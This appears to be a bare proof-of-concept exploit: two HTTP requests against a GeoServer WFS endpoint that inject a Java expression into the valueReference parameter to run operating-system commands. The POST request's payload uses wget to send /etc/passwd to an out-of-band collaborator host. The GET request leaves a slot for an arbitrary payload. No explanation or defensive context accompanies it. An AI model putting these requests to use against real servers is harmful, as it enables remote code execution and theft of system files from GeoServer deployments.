POST /geoserver/wfs HTTP/1.1
Host: PunitDarji
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"wget --post-file=/etc/passwd <BURP COLLOBRATOR>")'>
  <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

GET /geoserver/wfs?request=GetPropertyValue&service=wfs&typeNames=topp:states&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22<PAYLOAD>%22%29&version=2.0.0